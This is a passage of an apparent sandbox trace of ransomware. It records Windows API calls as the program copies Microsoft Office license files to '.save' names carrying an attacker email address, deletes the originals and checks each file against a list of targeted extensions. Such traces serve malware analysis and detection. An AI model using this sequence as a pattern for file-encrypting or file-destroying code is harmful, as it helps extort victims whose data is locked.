Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ul-oob.xrm-ms.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0189.992] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x444 [0189.992] SetFilePointerEx (in: hFile=0x444, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0189.993] SetFilePointerEx (in: hFile=0x444, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0189.993] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ul-oob.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0189.994] GetLastError () returned 0x0 [0189.994] ReadFile (in: hFile=0x444, lpBuffer=0x43fb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f7fecc, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesRead=0x3f7fecc*=0x2d5d, lpOverlapped=0x0) returned 1 [0189.996] WriteFile (in: hFile=0x384, lpBuffer=0x43fb020*, nNumberOfBytesToWrite=0x2d60, lpNumberOfBytesWritten=0x3f7fc94, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesWritten=0x3f7fc94*=0x2d60, lpOverlapped=0x0) returned 1 [0190.183] ReadFile (in: hFile=0x444, lpBuffer=0x43fb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f7fecc, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesRead=0x3f7fecc*=0x0, lpOverlapped=0x0) returned 1 [0190.183] WriteFile (in: hFile=0x384, lpBuffer=0x43fb020*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x3f7fc94, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesWritten=0x3f7fc94*=0x11a, lpOverlapped=0x0) returned 1 [0190.184] SetEndOfFile (hFile=0x384) returned 1 [0190.184] CloseHandle (hObject=0x384) returned 1 [0190.184] SetFilePointerEx (in: hFile=0x444, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0190.184] SetEndOfFile (hFile=0x444) returned 1 [0190.189] CloseHandle (hObject=0x444) returned 1 [0190.189] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0190.189] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ul-oob.xrm-ms")) returned 1 [0190.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms") returned 85 [0190.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms") returned 85 [0190.191] lstrlenW (lpString=".doc") returned 4 [0190.191] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0190.191] lstrlenW (lpString=".docx") returned 5 [0190.191] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0190.191] lstrlenW (lpString=".pdf") returned 4 [0190.191] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0190.191] lstrlenW (lpString=".xls") returned 4 [0190.191] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0190.191] lstrlenW (lpString=".xlsx") returned 5 [0190.191] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0190.191] lstrlenW (lpString=".ppt") returned 4 [0190.191] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0190.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms") returned 85 [0190.191] lstrlenW (lpString=".zip") returned 4 [0190.191] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0190.191] lstrlenW (lpString=".rar") returned 4 [0190.191] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0190.192] lstrlenW (lpString=".bz2") returned 4 [0190.192] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0190.192] lstrlenW (lpString=".7z") returned 3 [0190.192] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0190.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms") returned 85 [0190.192] lstrlenW (lpString=".dbf") returned 4 [0190.192] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0190.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms") returned 85 [0190.192] lstrlenW (lpString=".1cd") returned 4 [0190.192] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0190.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms") returned 85 [0190.192] lstrlenW (lpString=".jpg") returned 4 [0190.192] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0190.193] GetFileSizeEx (in: hFile=0x444, lpFileSize=0x3f7ff14 | out: lpFileSize=0x3f7ff14*=11167) returned 1 [0190.193] CloseHandle (hObject=0x444) returned 1 [0190.193] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-pl.xrm-ms")) returned 0x220 [0190.193] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-pl.xrm-ms.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0190.193] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x444 [0190.194] SetFilePointerEx (in: hFile=0x444, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0190.194] SetFilePointerEx (in: hFile=0x444, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0190.194] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-pl.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0190.197] GetLastError () returned 0x0 [0190.198] ReadFile (in: hFile=0x444, lpBuffer=0x43fb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f7fecc, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesRead=0x3f7fecc*=0x2b9f, lpOverlapped=0x0) returned 1 [0190.200] WriteFile (in: hFile=0x384, lpBuffer=0x43fb020*, nNumberOfBytesToWrite=0x2ba0, lpNumberOfBytesWritten=0x3f7fc94, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesWritten=0x3f7fc94*=0x2ba0, lpOverlapped=0x0) returned 1 [0190.202] ReadFile (in: hFile=0x444, lpBuffer=0x43fb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f7fecc, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesRead=0x3f7fecc*=0x0, lpOverlapped=0x0) returned 1 [0190.202] WriteFile (in: hFile=0x384, lpBuffer=0x43fb020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x3f7fc94, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesWritten=0x3f7fc94*=0x10e, lpOverlapped=0x0) returned 1 [0190.202] SetEndOfFile (hFile=0x384) returned 1 [0190.202] CloseHandle (hObject=0x384) returned 1 [0190.202] SetFilePointerEx (in: hFile=0x444, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0190.202] SetEndOfFile (hFile=0x444) returned 1 [0190.207] CloseHandle (hObject=0x444) returned 1 [0190.207] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0190.207] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-pl.xrm-ms")) returned 1 [0190.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms") returned 79 [0190.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms") returned 79 [0190.209] lstrlenW (lpString=".doc") returned 4 [0190.209] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0190.209] lstrlenW (lpString=".docx") returned 5 [0190.209] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0190.210] lstrlenW (lpString=".pdf") returned 4 [0190.210] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0190.210] lstrlenW (lpString=".xls") returned 4 [0190.210] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0190.210] lstrlenW (lpString=".xlsx") returned 5 [0190.210] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0190.210] lstrlenW (lpString=".ppt") returned 4 [0190.210] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0190.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms") returned 79 [0190.210] lstrlenW (lpString=".zip") returned 4 [0190.210] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0190.210] lstrlenW (lpString=".rar") returned 4 [0190.210] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0190.210] lstrlenW (lpString=".bz2") returned 4 [0190.210] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0190.210] lstrlenW (lpString=".7z") returned 3 [0190.210] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0190.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms") returned 79 [0190.210] lstrlenW (lpString=".dbf") returned 4 [0190.210] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0190.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms") returned 79 [0190.210] lstrlenW (lpString=".1cd") returned 4 [0190.210] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0190.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms") returned 79 [0190.211] lstrlenW (lpString=".jpg") returned 4 [0190.211] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0190.211] GetFileSizeEx (in: hFile=0x444, lpFileSize=0x3f7ff14 | out: lpFileSize=0x3f7ff14*=22214) returned 1 [0190.212] CloseHandle (hObject=0x444) returned 1 [0190.212] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-ppd.xrm-ms")) returned 0x220 [0190.212] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-ppd.xrm-ms.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0190.213] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x444 [0190.214] SetFilePointerEx (in: hFile=0x444, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0190.214] SetFilePointerEx (in: hFile=0x444, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0190.214] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-ppd.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0190.215] GetLastError () returned 0x0 [0190.215] ReadFile (in: hFile=0x444, lpBuffer=0x43fb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f7fecc, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesRead=0x3f7fecc*=0x56c6, lpOverlapped=0x0) returned 1 [0190.219] WriteFile (in: hFile=0x384, lpBuffer=0x43fb020*, nNumberOfBytesToWrite=0x56d0, lpNumberOfBytesWritten=0x3f7fc94, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesWritten=0x3f7fc94*=0x56d0, lpOverlapped=0x0) returned 1 [0190.221] ReadFile (in: hFile=0x444, lpBuffer=0x43fb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f7fecc, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesRead=0x3f7fecc*=0x0, lpOverlapped=0x0) returned 1 [0190.221] WriteFile (in: hFile=0x384, lpBuffer=0x43fb020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x3f7fc94, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesWritten=0x3f7fc94*=0x110, lpOverlapped=0x0) returned 1 [0190.222] SetEndOfFile (hFile=0x384) returned 1 [0190.222] CloseHandle (hObject=0x384) returned 1 [0190.222] SetFilePointerEx (in: hFile=0x444, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0190.222] SetEndOfFile (hFile=0x444) returned 1 [0190.601] CloseHandle (hObject=0x444) returned 1 [0190.601] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0190.602] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-ppd.xrm-ms")) returned 1 [0190.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms") returned 80 [0190.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms") returned 80 [0190.605] lstrlenW (lpString=".doc") returned 4 [0190.605] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0190.605] lstrlenW (lpString=".docx") returned 5 [0190.605] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0190.605] lstrlenW (lpString=".pdf") returned 4 [0190.605] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0190.605] lstrlenW (lpString=".xls") returned 4 [0190.605] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0190.605] lstrlenW (lpString=".xlsx") returned 5 [0190.605] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0190.605] lstrlenW (lpString=".ppt") returned 4 [0190.605] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0190.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms") returned 80 [0190.605] lstrlenW (lpString=".zip") returned 4 [0190.605] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0190.605] lstrlenW (lpString=".rar") returned 4 [0190.605] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0190.605] lstrlenW (lpString=".bz2") returned 4 [0190.606] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0190.606] lstrlenW (lpString=".7z") returned 3 [0190.606] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0190.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms") returned 80 [0190.606] lstrlenW (lpString=".dbf") returned 4 [0190.606] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0190.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms") returned 80 [0190.606] lstrlenW (lpString=".1cd") returned 4 [0190.606] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0190.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms") returned 80 [0190.606] lstrlenW (lpString=".jpg") returned 4 [0190.606] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0190.632] GetFileSizeEx (in: hFile=0x444, lpFileSize=0x3f7ff14 | out: lpFileSize=0x3f7ff14*=22215) returned 1 [0190.632] CloseHandle (hObject=0x444) returned 1 [0190.632] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-ppd.xrm-ms")) returned 0x220 [0190.632] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-ppd.xrm-ms.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0190.633] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x444 [0190.634] SetFilePointerEx (in: hFile=0x444, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0190.634] SetFilePointerEx (in: hFile=0x444, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0190.634] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-ppd.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c [0190.636] GetLastError () returned 0x0 [0190.636] ReadFile (in: hFile=0x444, lpBuffer=0x43fb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f7fecc, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesRead=0x3f7fecc*=0x56c7, lpOverlapped=0x0) returned 1 [0190.641] WriteFile (in: hFile=0x56c, lpBuffer=0x43fb020*, nNumberOfBytesToWrite=0x56d0, lpNumberOfBytesWritten=0x3f7fc94, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesWritten=0x3f7fc94*=0x56d0, lpOverlapped=0x0) returned 1 [0190.643] ReadFile (in: hFile=0x444, lpBuffer=0x43fb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f7fecc, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesRead=0x3f7fecc*=0x0, lpOverlapped=0x0) returned 1 [0190.643] WriteFile (in: hFile=0x56c, lpBuffer=0x43fb020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x3f7fc94, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesWritten=0x3f7fc94*=0x112, lpOverlapped=0x0) returned 1 [0190.643] SetEndOfFile (hFile=0x56c) returned 1 [0190.643] CloseHandle (hObject=0x56c) returned 1 [0190.643] SetFilePointerEx (in: hFile=0x444, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0190.644] SetEndOfFile (hFile=0x444) returned 1 [0190.650] CloseHandle (hObject=0x444) returned 1 [0190.650] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0190.651] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-ppd.xrm-ms")) returned 1 [0190.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms") returned 81 [0190.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms") returned 81 [0190.652] lstrlenW (lpString=".doc") returned 4 [0190.652] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0190.652] lstrlenW (lpString=".docx") returned 5 [0190.652] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0190.653] lstrlenW (lpString=".pdf") returned 4 [0190.653] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0190.653] lstrlenW (lpString=".xls") returned 4 [0190.653] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0190.653] lstrlenW (lpString=".xlsx") returned 5 [0190.653] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0190.653] lstrlenW (lpString=".ppt") returned 4 [0190.653] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0190.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms") returned 81 [0190.653] lstrlenW (lpString=".zip") returned 4 [0190.653] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0190.653] lstrlenW (lpString=".rar") returned 4 [0190.653] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0190.653] lstrlenW (lpString=".bz2") returned 4 [0190.653] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0190.653] lstrlenW (lpString=".7z") returned 3 [0190.653] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0190.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms") returned 81 [0190.653] lstrlenW (lpString=".dbf") returned 4 [0190.653] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0190.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms") returned 81 [0190.653] lstrlenW (lpString=".1cd") returned 4 [0190.654] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0190.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms") returned 81 [0190.654] lstrlenW (lpString=".jpg") returned 4 [0190.654] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0190.655] GetFileSizeEx (in: hFile=0x444, lpFileSize=0x3f7ff14 | out: lpFileSize=0x3f7ff14*=11625) returned 1 [0190.655] CloseHandle (hObject=0x444) returned 1 [0190.655] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-ul-oob.xrm-ms")) returned 0x220 [0190.655] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-ul-oob.xrm-ms.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0190.656] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x444 [0190.657] SetFilePointerEx (in: hFile=0x444, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0190.658] SetFilePointerEx (in: hFile=0x444, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0190.658] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-ul-oob.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c [0190.923] GetLastError () returned 0x0 [0190.923] ReadFile (in: hFile=0x444, lpBuffer=0x43fb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f7fecc, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesRead=0x3f7fecc*=0x2d69, lpOverlapped=0x0) returned 1 [0190.925] WriteFile (in: hFile=0x56c, lpBuffer=0x43fb020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x3f7fc94, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesWritten=0x3f7fc94*=0x2d70, lpOverlapped=0x0) returned 